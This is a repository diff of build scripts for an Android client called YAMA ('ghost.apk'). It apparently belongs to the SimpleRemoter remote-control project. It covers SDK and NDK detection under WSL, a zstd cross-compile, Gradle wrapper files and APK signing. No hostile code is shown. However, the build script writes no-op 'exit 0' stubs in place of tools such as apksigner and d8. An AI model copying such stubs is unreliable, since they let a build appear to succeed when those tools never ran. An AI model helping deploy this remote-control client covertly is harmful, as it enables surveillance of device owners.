WIN_USER=$(cmd.exe /c "echo %USERPROFILE%" 2>/dev/null | tr -d '\r')
WSL_USER=$(wslpath "$WIN_USER" 2>/dev/null || \
echo "$WIN_USER" | sed 's|\\|/|g; s|^\([A-Za-z]\):|/mnt/\L\1|')
SDK_DIR="${WSL_USER}/AppData/Local/Android/Sdk"
elif [ -d "$HOME/Android/Sdk" ]; then
SDK_DIR="$HOME/Android/Sdk"
elif [ -d "$HOME/Library/Android/sdk" ]; then
SDK_DIR="$HOME/Library/Android/sdk"
else
SDK_DIR=""
fi
if [ -z "${SDK_DIR:-}" ] || [ ! -d "$SDK_DIR" ]; then
echo "ERROR: Android SDK not found."
echo ""
echo " WSL: auto-detected from Windows %USERPROFILE%"
echo " or set: export ANDROID_HOME=/mnt/c/Users/<you>/AppData/Local/Android/Sdk"
echo " Native Linux: install SDK to ~/Android/Sdk or set ANDROID_HOME"
exit 1
fi
echo "SDK : $SDK_DIR"
# ── Check Java 17+ ───────────────────────────────────────────────────────────
if ! command -v java &>/dev/null; then
echo "ERROR: Java not found."
echo " sudo apt install openjdk-17-jdk"
exit 1
fi
JAVA_VER=$(java -version 2>&1 | grep -oP '(?<=version ")[0-9]+' | head -1)
if [ "${JAVA_VER:-0}" -lt 17 ]; then
echo "ERROR: Java 17+ required (found Java ${JAVA_VER:-unknown})."
echo " sudo apt install openjdk-17-jdk"
exit 1
fi
echo "Java: $(java -version 2>&1 | head -1)"
# ── Check cmake ───────────────────────────────────────────────────────────────
# The SDK ships cmake.exe (Windows-only); on Linux/WSL we need system cmake.
if ! command -v cmake &>/dev/null; then
echo "ERROR: cmake not found."
echo " sudo apt install cmake"
echo ""
echo " The SDK's cmake is a Windows .exe and cannot run on Linux/WSL."
exit 1
fi
echo "CMake: $(cmake --version | head -1)"
# ── Check ninja ──────────────────────────────────────────────────────────────
if ! command -v ninja &>/dev/null; then
echo "ERROR: ninja not found."
echo " sudo apt install ninja-build"
exit 1
fi
# ── WSL: create Linux stubs for Windows build-tools ──────────────────────────
# Windows SDK ships .exe files only; Linux Gradle needs plain-name wrappers.
# WSL binfmt_misc executes .exe files transparently from bash.
# We FORCE-WRITE stubs (don't rely on prior state) so broken/dir artifacts
# from previous attempts don't block the check.
if $IS_WSL; then
BT_DIR=$(find "$SDK_DIR/build-tools" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
| sort -V | tail -1)
# Stub every installed build-tools version — the project may reference any of them
BT_VERSIONS=$(find "$SDK_DIR/build-tools" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
| sort -V)
LATEST_BT=""
if [ -z "$BT_VERSIONS" ]; then
echo "WARNING: build-tools directory not found under $SDK_DIR/build-tools"
else
for BT_DIR in $BT_VERSIONS; do
LATEST_BT="$BT_DIR" # last in sorted list = newest
VER=$(basename "$BT_DIR")
# 1. Wrap every .exe found — covers aapt, aapt2, aidl, split-select, etc.
for EXE in "${BT_DIR}"/*.exe; do
[ -f "$EXE" ] || continue
TOOL=$(basename "$EXE" .exe)
BIN="${BT_DIR}/${TOOL}"
[ -e "$BIN" ] && rm -rf "$BIN"
printf '#!/bin/sh\nexec "%s" "$@"\n' "$EXE" > "$BIN"
chmod +x "$BIN"
echo "Stubbed: ${VER}/${TOOL} → $(basename $EXE)"
done
# 2. Ensure tools AGP validates that may not have .exe versions
for TOOL in aapt aapt2 aidl split-select dexdump zipalign apksigner d8; do
BIN="${BT_DIR}/${TOOL}"
if [ ! -f "$BIN" ]; then
printf '#!/bin/sh\nexit 0\n' > "$BIN"
chmod +x "$BIN"
echo "Noop: ${VER}/${TOOL}"
fi
done
done
fi
# If build.gradle requests a buildToolsVersion that isn't installed, create a
# stub directory pointing all tools to the latest installed version.
if [ -n "$LATEST_BT" ]; then
REQ_VER=$(grep -oP '(?<=buildToolsVersion\s")[^"]+' \
"$SCRIPT_DIR/app/build.gradle" 2>/dev/null | head -1 || true)
if [ -n "$REQ_VER" ]; then
REQ_DIR="$SDK_DIR/build-tools/$REQ_VER"
if [ ! -d "$REQ_DIR" ]; then
echo "build-tools $REQ_VER not installed — creating stub dir from $(basename $LATEST_BT)"
mkdir -p "$REQ_DIR"
# Copy source.properties so AGP recognises the version
if [ -f "${LATEST_BT}/source.properties" ]; then
sed "s/Pkg.Revision=.*/Pkg.Revision=$REQ_VER/" \
"${LATEST_BT}/source.properties" > "${REQ_DIR}/source.properties"
else
printf 'Pkg.Desc=Android SDK Build-tools\nPkg.Revision=%s\n' \
"$REQ_VER" > "${REQ_DIR}/source.properties"
fi
for TOOL in aapt aapt2 aidl split-select dexdump zipalign apksigner d8; do
BIN="${REQ_DIR}/${TOOL}"
SRC="${LATEST_BT}/${TOOL}" # already stubbed above
if [ -f "$SRC" ]; then
cp "$SRC" "$BIN"
chmod +x "$BIN"
else
printf '#!/bin/sh\nexit 0\n' > "$BIN"
chmod +x "$BIN"
fi
echo "Forwarded: ${REQ_VER}/${TOOL} → $(basename $LATEST_BT)"
done
fi
fi
fi
# ── WSL: stub SDK cmake ────────────────────────────────────────────────────
# AGP resolves cmake from SDK cmake/<ver>/bin/cmake (a Windows .exe).
# Create plain-name stubs that call system cmake/ninja instead.
SYS_CMAKE=$(command -v cmake 2>/dev/null || true)
SYS_NINJA=$(command -v ninja 2>/dev/null || true)
CMAKE_VERSIONS=$(find "$SDK_DIR/cmake" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
| sort -V || true)
for SDK_CMAKE_DIR in $CMAKE_VERSIONS; do
CVER=$(basename "$SDK_CMAKE_DIR")
CBIN="${SDK_CMAKE_DIR}/bin"
mkdir -p "$CBIN"
for TOOL in cmake ninja; do
BIN="${CBIN}/${TOOL}"
[ -e "$BIN" ] && rm -rf "$BIN"
if [ "$TOOL" = "cmake" ] && [ -n "$SYS_CMAKE" ]; then
printf '#!/bin/sh\nexec "%s" "$@"\n' "$SYS_CMAKE" > "$BIN"
echo "CMake stub: ${CVER}/cmake → $SYS_CMAKE"
elif [ "$TOOL" = "ninja" ] && [ -n "$SYS_NINJA" ]; then
printf '#!/bin/sh\nexec "%s" "$@"\n' "$SYS_NINJA" > "$BIN"
echo "CMake stub: ${CVER}/ninja → $SYS_NINJA"
else
printf '#!/bin/sh\nexit 0\n' > "$BIN"
echo "CMake noop: ${CVER}/${TOOL}"
fi
chmod +x "$BIN"
done
done
# ── WSL: verify Linux NDK ─────────────────────────────────────────────────
# Windows NDK (.exe tools) cannot compile from WSL — clang.exe doesn't
# understand /mnt/c/ Linux paths. A real Linux NDK is required.
NDK_DIR=""
# 1. Honour ANDROID_NDK_HOME if set
if [ -n "${ANDROID_NDK_HOME:-}" ] && \
[ -f "${ANDROID_NDK_HOME}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang" ]; then
NDK_DIR="$ANDROID_NDK_HOME"
fi
# 2. Scan SDK ndk/ for a version that has real Linux ELF binaries
if [ -z "$NDK_DIR" ]; then
for CANDIDATE in $(find "$SDK_DIR/ndk" -maxdepth 1 -mindepth 1 -type d 2>/dev/null | sort -V); do
CBIN="${CANDIDATE}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang"
if [ -f "$CBIN" ] && file -L "$CBIN" 2>/dev/null | grep -q ELF; then
NDK_DIR="$CANDIDATE"
fi
done
fi
# 3. Check common install location ~/android-ndk/
if [ -z "$NDK_DIR" ]; then
for CANDIDATE in "$HOME/android-ndk" "$HOME/android-ndk-linux"; do
CBIN="${CANDIDATE}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang"
if [ -f "$CBIN" ] && file -L "$CBIN" 2>/dev/null | grep -q ELF; then
NDK_DIR="$CANDIDATE"
break
fi
done
fi
if [ -z "$NDK_DIR" ]; then
# Determine the required NDK version from build.gradle for the download hint
REQ_NDK=$(grep -oP '(?<=ndkVersion\s")[^"]+' \
"$SCRIPT_DIR/app/build.gradle" 2>/dev/null | head -1 || true)
NDK_MAJ=${REQ_NDK%%.*}
echo ""
echo "ERROR: Linux NDK not found."
echo " The Windows NDK cannot compile native code in WSL."
echo ""
# Look up the exact Linux zip name from the repository manifest
ZIP_NAME=$(curl -s 'https://dl.google.com/android/repository/repository2-3.xml' 2>/dev/null \
| grep -A 10 "ndk;${REQ_NDK}" | grep 'linux\.zip' | grep -oP '(?<=<url>)[^<]+' | head -1)
ZIP_NAME="${ZIP_NAME:-android-ndk-r${NDK_MAJ:-30}-linux.zip}"
echo " Install the Linux NDK (requires ~600 MB):"
echo " wget https://dl.google.com/android/repository/${ZIP_NAME}"
echo " unzip ${ZIP_NAME} -d \$HOME"
echo " mv \$HOME/\$(basename ${ZIP_NAME} .zip) \$HOME/android-ndk"
echo ""
echo " Then re-run ./build_apk.sh"
echo " (Or set ANDROID_NDK_HOME to your Linux NDK path)"
exit 1
fi
echo "NDK : $NDK_DIR"
fi
# ── Write local.properties (backup & restore to avoid clobbering Android Studio) ──
PROPS="$SCRIPT_DIR/local.properties"
PROPS_BAK="$SCRIPT_DIR/local.properties.bak"
[ -f "$PROPS" ] && cp "$PROPS" "$PROPS_BAK"
cat > "$PROPS" <<EOF
sdk.dir=$SDK_DIR
EOF
if $IS_WSL && [ -n "${NDK_DIR:-}" ]; then
echo "ndk.dir=$NDK_DIR" >> "$PROPS"
fi
echo "local.properties written (original backed up to local.properties.bak)"
restore_props() {
if [ -f "$PROPS_BAK" ]; then
mv "$PROPS_BAK" "$PROPS"
echo "local.properties restored"
else
rm -f "$PROPS"
fi
}
trap restore_props EXIT
# ── Build ─────────────────────────────────────────────────────────────────────
BUILD_TYPE="${1:-release}"
case "$BUILD_TYPE" in
release) TASK="assembleRelease" ;;
debug) TASK="assembleDebug" ;;
clean)
chmod +x gradlew
./gradlew clean
rm -rf "$SCRIPT_DIR/app/.cxx"
rm -f "$SCRIPT_DIR/ghost.apk" "$SCRIPT_DIR/ghost-debug.apk"
echo "Clean done."
exit 0
;;
*) echo "Usage: $0 [release|debug|clean]"; exit 1 ;;
esac
# ── Release: keystore check ───────────────────────────────────────────────────
if [ "$BUILD_TYPE" = "release" ]; then
JKS="$SCRIPT_DIR/yama-release.jks"
if [ ! -f "$JKS" ]; then
echo "ERROR: $JKS not found."
echo " Generate once with:"
echo " keytool -genkeypair -keystore android/yama-release.jks \\"
echo " -alias yama -keyalg RSA -keysize 2048 -validity 10000 \\"
echo " -dname 'CN=YAMA,O=Internal,C=CN'"
exit 1
fi
if [ -z "${YAMA_PWD:-}" ]; then
read -rsp "Keystore password: " YAMA_PWD
echo
export YAMA_PWD
fi
fi
echo ""
echo "Building $BUILD_TYPE APK..."
chmod +x gradlew
./gradlew "$TASK" -PincludeEmulatorAbis=false
# ── Output ────────────────────────────────────────────────────────────────────
APK=$(find "app/build/outputs/apk/${BUILD_TYPE}" -name "*.apk" 2>/dev/null | head -1 || true)
if [ -n "$APK" ]; then
[ "$BUILD_TYPE" = "release" ] && OUT="$SCRIPT_DIR/ghost.apk" || OUT="$SCRIPT_DIR/ghost-${BUILD_TYPE}.apk"
cp "$APK" "$OUT"
echo ""
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "APK: $OUT"
if $IS_WSL; then
WIN=$(wslpath -w "$OUT" 2>/dev/null || true)
[ -n "$WIN" ] && echo "WIN: $WIN"
fi
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
fi
+85
View File
@@ -0,0 +1,85 @@
#!/usr/bin/env bash
# build_zstd_android.sh - 为 Android 交叉编译 libzstd.a
# 版本与 compress/zstd/zstd.h 头文件对齐(1.5.7),确保服务端压缩帧可正确解压
#
# 用法:
# ./build_zstd_android.sh # 自动查找 NDK
# ANDROID_NDK=/path/to/ndk ./build_zstd_android.sh
#
# 产出:
# app/src/main/cpp/lib/arm64-v8a/libzstd.a
# app/src/main/cpp/lib/armeabi-v7a/libzstd.a
set -euo pipefail
cd "$(dirname "$0")"
ZSTD_VERSION="1.5.7"
ZSTD_TAR="zstd-${ZSTD_VERSION}.tar.gz"
ZSTD_URL="https://github.com/facebook/zstd/releases/download/v${ZSTD_VERSION}/${ZSTD_TAR}"
ZSTD_DIR="zstd-${ZSTD_VERSION}"
# --- 定位 NDK ---
if [[ -z "${ANDROID_NDK:-}" ]]; then
for candidate in \
"$HOME/android-ndk-r27c" \
"$HOME/Library/Android/sdk/ndk/$(ls "$HOME/Library/Android/sdk/ndk" 2>/dev/null | sort -V | tail -1)" \
"$HOME/Android/Sdk/ndk/$(ls "$HOME/Android/Sdk/ndk" 2>/dev/null | sort -V | tail -1)"; do
if [[ -f "${candidate}/build/cmake/android.toolchain.cmake" ]]; then
ANDROID_NDK="$candidate"; break
fi
done
fi
[[ -z "${ANDROID_NDK:-}" ]] && { echo "Error: ANDROID_NDK not set"; exit 1; }
TOOLCHAIN="$ANDROID_NDK/build/cmake/android.toolchain.cmake"
echo "NDK: $ANDROID_NDK"
# --- 自动检测宿主平台(用于选择 strip 工具路径)---
case "$(uname -s 2>/dev/null || echo Windows)" in
Linux*) HOST_TAG="linux-x86_64" ;;
Darwin*) HOST_TAG="darwin-x86_64" ;;
*) HOST_TAG="windows-x86_64" ;;
esac
# --- 下载 zstd 源码 ---
if [[ ! -d "$ZSTD_DIR" ]]; then
echo "Downloading zstd $ZSTD_VERSION..."
wget -q "$ZSTD_URL" -O "$ZSTD_TAR"
tar xf "$ZSTD_TAR"
rm "$ZSTD_TAR"
fi
OUT_BASE="app/src/main/cpp/lib"
# arm64-v8a / armeabi-v7a: 真机;x86 / x86_64: Android 模拟器(避免 libndk_translation 解压 bug)
ABIS=("arm64-v8a" "armeabi-v7a" "x86" "x86_64")
for ABI in "${ABIS[@]}"; do
BUILD_DIR="zstd_build/$ABI"
OUT_DIR="$OUT_BASE/$ABI"
rm -rf "$BUILD_DIR"
echo
echo "===== zstd $ABI ====="
cmake \
-B "$BUILD_DIR" -S "$ZSTD_DIR/build/cmake" \
-DCMAKE_TOOLCHAIN_FILE="$TOOLCHAIN" \
-DANDROID_ABI="$ABI" \
-DANDROID_PLATFORM=android-21 \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_C_FLAGS="-O2 -g0" \
-DZSTD_BUILD_STATIC=ON \
-DZSTD_BUILD_SHARED=OFF \
-DZSTD_BUILD_PROGRAMS=OFF \
-DZSTD_BUILD_TESTS=OFF \
-DZSTD_LEGACY_SUPPORT=0 \
-DZSTD_DISABLE_ASM=ON
cmake --build "$BUILD_DIR" --config Release -j"$(nproc 2>/dev/null || sysctl -n hw.logicalcpu 2>/dev/null || echo 4)"
mkdir -p "$OUT_DIR"
cp "$BUILD_DIR/lib/libzstd.a" "$OUT_DIR/libzstd.a"
STRIP="$ANDROID_NDK/toolchains/llvm/prebuilt/${HOST_TAG}/bin/llvm-strip"
[[ -f "$STRIP" ]] && "$STRIP" --strip-debug "$OUT_DIR/libzstd.a"
ls -lh "$OUT_DIR/libzstd.a"
done
rm -rf zstd_build "$ZSTD_DIR"
echo
echo "===== Done ====="
echo "libzstd.a 已写入 app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/"
BIN
View File
Binary file not shown.
+5
View File
@@ -0,0 +1,5 @@
android.useAndroidX=true
android.enableJetifier=true
org.gradle.jvmargs=-Xmx2048m
# 模拟器(x86/x86_64)支持;build_apk.sh 会强制覆盖为 false,此行只影响 Android Studio
includeEmulatorAbis=true
Binary file not shown.
+7
View File
@@ -0,0 +1,7 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.0-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
+248
View File
@@ -0,0 +1,248 @@
#!/bin/sh
#
# Copyright © 2015 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
# This is normally unused
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
if ! command -v java >/dev/null 2>&1
then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
"$@"
# Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1
then
die "xargs is not available"
fi
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"
+93
View File
@@ -0,0 +1,93 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@rem SPDX-License-Identifier: Apache-2.0
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:execute
@rem Setup the command line
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega
+16
View File
@@ -0,0 +1,16 @@
pluginManagement {
repositories {
google()
mavenCentral()
gradlePluginPortal()
}
}
dependencyResolutionManagement {
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
repositories {
google()
mavenCentral()
}
}
rootProject.name = "YAMA"
include(":app")
+112
View File
@@ -0,0 +1,112 @@
@echo off
:: sign_apk.bat - Sign a YAMA APK with the release keystore
:: Usage: sign_apk.bat <apk-path>
setlocal
if "%~1"=="" (
echo Usage: sign_apk.bat ^<apk-path^>
exit /b 1
)
set "APK=%~f1"
if not exist "%APK%" (
echo ERROR: APK not found: %APK%
exit /b 1
)
set "KEYSTORE=%~dp0yama-release.jks"
if not exist "%KEYSTORE%" (
echo ERROR: Keystore not found: %KEYSTORE%
exit /b 1
)
:: --- Locate java.exe ---
set "JAVA_EXE="
where java >nul 2>&1
if not errorlevel 1 set "JAVA_EXE=java"
if not defined JAVA_EXE if defined JAVA_HOME (
if exist "%JAVA_HOME%\bin\java.exe" set "JAVA_EXE=%JAVA_HOME%\bin\java.exe"
)
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe" (
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe"
)
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jre\bin\java.exe" (
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jre\bin\java.exe"
)
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe" (
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe"
)
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe" (
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe"
)
if not defined JAVA_EXE (
echo ERROR: java.exe not found. Install JDK or Android Studio.
exit /b 1
)
:: --- Locate Android SDK ---
set "SDK_DIR="
if defined ANDROID_HOME if exist "%ANDROID_HOME%" set "SDK_DIR=%ANDROID_HOME%"
if not defined SDK_DIR if defined ANDROID_SDK_ROOT if exist "%ANDROID_SDK_ROOT%" set "SDK_DIR=%ANDROID_SDK_ROOT%"
if not defined SDK_DIR if exist "%LOCALAPPDATA%\Android\Sdk" set "SDK_DIR=%LOCALAPPDATA%\Android\Sdk"
if not defined SDK_DIR (
echo ERROR: Android SDK not found. Set ANDROID_HOME or ANDROID_SDK_ROOT.
exit /b 1
)
:: --- Find latest apksigner.jar (ascending sort, last match = newest) ---
set "SIGNER_JAR="
set "BT_VER="
for /f "delims=" %%D in ('dir /b /ad /on "%SDK_DIR%\build-tools" 2^>nul') do (
if exist "%SDK_DIR%\build-tools\%%D\lib\apksigner.jar" (
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\lib\apksigner.jar"
set "BT_VER=%%D"
)
if exist "%SDK_DIR%\build-tools\%%D\apksigner.jar" (
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\apksigner.jar"
set "BT_VER=%%D"
)
)
if not defined SIGNER_JAR (
echo ERROR: apksigner.jar not found under %SDK_DIR%\build-tools
exit /b 1
)
echo.
echo APK : %APK%
echo Keystore: %KEYSTORE%
echo Java : %JAVA_EXE%
echo JAR : %SIGNER_JAR% [build-tools %BT_VER%]
echo.
set "PWD=%YAMA_PWD%"
if not defined PWD set /p "PWD=Keystore password: "
if not defined PWD (
echo ERROR: No password provided.
exit /b 1
)
echo.
echo Signing...
"%JAVA_EXE%" -jar "%SIGNER_JAR%" sign --ks "%KEYSTORE%" --ks-pass "pass:%PWD%" --ks-key-alias yama "%APK%"
if errorlevel 1 (
echo ERROR: Signing failed.
exit /b 1
)
echo Verifying...
"%JAVA_EXE%" -jar "%SIGNER_JAR%" verify "%APK%"
if errorlevel 1 (
echo ERROR: Verification failed.
exit /b 1
)
echo.
echo Done: %APK%
endlocal
Binary file not shown.
+4 -1
View File
@@ -1,6 +1,8 @@
@echo off @echo off
:: SimpleRemoter Quick Build Script :: SimpleRemoter Quick Build Script
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish] :: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server]
:: go-server Build Go fallback server only -> Bin\YamaGo_x64.exe
:: go-server publish Same, plus UPX --best compression
setlocal enabledelayedexpansion setlocal enabledelayedexpansion
@@ -18,6 +20,7 @@ if /i "%~1"=="all" (set PLATFORM=all& shift& goto :parse_args)
